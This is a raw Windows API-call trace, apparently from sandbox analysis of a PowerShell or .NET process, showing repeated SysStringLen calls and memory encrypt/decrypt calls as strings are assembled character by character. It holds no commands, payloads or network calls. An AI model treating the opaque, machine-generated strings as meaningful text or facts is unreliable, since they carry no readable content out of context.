(param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x8fcb\x59b3\xe03\x159d\xfeb3\x326d\x5b52\x2f8e") returned 0x20 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x8fcb\x59b3\xe03\x159d\xfeb3\x326d\x5b52\x2f8e") returned 0x20 [0128.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshcc្％盲") returned 0x20 [0128.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\xf9cd\x904a\x31bf\xf8e6\x42fe\xeac9\xc893\x6df7") returned 0x20 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\xf9cd\x904a\x31bf\xf8e6\x42fe\xeac9\xc893\x6df7") returned 0x20 [0128.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccw％盲") returned 0x20 [0128.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x1cb3\xfe69\x100\x58ef\xb398\x6694\xf8e4\x8c60") returned 0x20 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x1cb3\xfe69\x100\x58ef\xb398\x6694\xf8e4\x8c60") returned 0x20 [0128.566] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.566] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwF％盲") returned 0x20 [0128.566] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.566] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\xc3ed\x4d8a\x45bd\x3c08\x22b4\x8c16\x91a5\x17dc") returned 0x20 [0128.566] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\xc3ed\x4d8a\x45bd\x3c08\x22b4\x8c16\x91a5\x17dc") returned 0x20 [0128.566] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.566] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFU％盲") returned 0x20 [0128.566] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x2d84\xea17\xdba0\xa957\xbbc\xac9\xc432\x46de") returned 0x20 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x2d84\xea17\xdba0\xa957\xbbc\xac9\xc432\x46de") returned 0x20 [0128.567] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.567] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN盲") returned 0x20 [0128.567] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x90e6\x79da\xc16e\x3db1\x11a8\x2e1e\x18cc\x396b") returned 0x20 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x90e6\x79da\xc16e\x3db1\x11a8\x2e1e\x18cc\x396b") returned 0x20 [0128.567] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.567] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7") returned 0x20 [0128.567] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe") returned 0x20 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe") returned 0x20 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe") returned 0x20 [0128.567] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe") returned 0x28 [0128.567] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7Iᲇ䚐Ⅻ쳖ソ쨼Ｍ") returned 0x28 [0128.568] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x3a27\x9d12\x191a\x5bff\xcfa5\x55bc\x4e03\xbc48") returned 0x28 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x3a27\x9d12\x191a\x5bff\xcfa5\x55bc\x4e03\xbc48") returned 0x28 [0128.568] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6䚐Ⅻ쳖ソ쨼Ｍ") returned 0x28 [0128.568] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\xaa18\x6ed\x23e9\x6844\x6edc\x66b2\xcbf2\xb1c") returned 0x28 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\xaa18\x6ed\x23e9\x6844\x6edc\x66b2\xcbf2\xb1c") returned 0x28 [0128.568] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6WⅫ쳖ソ쨼Ｍ") returned 0x28 [0128.568] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x1288\x8fd\xee60\xafc5\xc58a\xa1b7\x9fb7\xf673") returned 0x28 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x1288\x8fd\xee60\xafc5\xc58a\xa1b7\x9fb7\xf673") returned 0x28 [0128.568] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Wa쳖ソ쨼Ｍ") returned 0x28 [0128.568] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\xad9e\x2d56\x804e\x350c\x9f3f\x5305\xbc17\x7f8e") returned 0x28 [0128.568] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\xad9e\x2d56\x804e\x350c\x9f3f\x5305\xbc17\x7f8e") returned 0x28 [0128.568] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waiソ쨼Ｍ") returned 0x28 [0128.569] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\xa3c0\xabce\xcadf\xee2b\x2441\xd5df\xa7d9\xabb2") returned 0x28 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\xa3c0\xabce\xcadf\xee2b\x2441\xd5df\xa7d9\xabb2") returned 0x28 [0128.569] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waie쨼Ｍ") returned 0x28 [0128.569] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x5cd4\xe7b2\xbb80\xcb60\xfe6c\x2411\xe51e\xf88b") returned 0x28 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x5cd4\xe7b2\xbb80\xcb60\xfe6c\x2411\xe51e\xf88b") returned 0x28 [0128.569] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6WaiezＭ") returned 0x28 [0128.569] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x2a0\x2453\x73f3\xac45\xb6a2\xeda7\x6016\xc439") returned 0x28 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x2a0\x2453\x73f3\xac45\xb6a2\xeda7\x6016\xc439") returned 0x28 [0128.569] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waiezz") returned 0x28 [0128.569] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96") returned 0x28 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96") returned 0x28 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96") returned 0x28 [0128.569] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\x4f\x77\x51\x51\x36\x33\x58\x50") returned 0x30 [0128.570] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waiezz7ꊕ䝡謕⳯ꅷ穌") returned 0x30 [0128.570] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\xaad5\x1103\x88ec\x217f\xdae0\xdeee\x32e4\xa28e") returned 0x30 [0128.570] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\xaad5\x1103\x88ec\x217f\xdae0\xdeee\x32e4\xa28e") returned 0x30 [0128.570] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waiezz7x䝡謕⳯ꅷ穌") returned 0x30 [0128.570] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\x2ea4\xf954\x1f66\x44d\xeb42\x8ce6\x739e\x6353") returned 0x30 [0128.570] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\x2ea4\xf954\x1f66\x44d\xeb42\x8ce6\x739e\x6353") returned 0x30 [0128.570] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waiezz7xI謕⳯ꅷ穌") returned 0x30 [0128.570] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\xa28a\x2154\xc016\x7229\x4821\x31a2\xd1c6\x5014") returned 0x30 [0128.570] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21bb\x1cad\x35d8\x206d\x816\x2428\x8fc7\xcffe\x9e77\x83c4\xa19a\xab3f\x7247\x9eca\xd702\xcd96\xa28a\x2154\xc016\x7229\x4821\x31a2\xd1c6\x5014") returned 0x30 [0128.570] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshccwFUN7I6Waiezz7xI=⳯ꅷ穌") returned 0x30 [0128.570] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0128.570] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.571] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.571] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.571] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.571] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.571] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.571] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.571] SysStringLen (param_1="") returned 0x8 [0128.571] SysStringLen (param_1="Y") returned 0x8 [0128.571] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.571] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.571] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.571] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.571] SysStringLen (param_1="YW") returned 0x8 [0128.571] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.572] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.572] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.572] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.572] SysStringLen (param_1="YWM") returned 0x8 [0128.572] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.572] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.572] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.572] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.572] SysStringLen (param_1="YWM1") returned 0x8 [0128.572] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.572] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.572] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.572] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.572] SysStringLen (param_1="YWM1O") returned 0x8 [0128.572] SystemFunction040 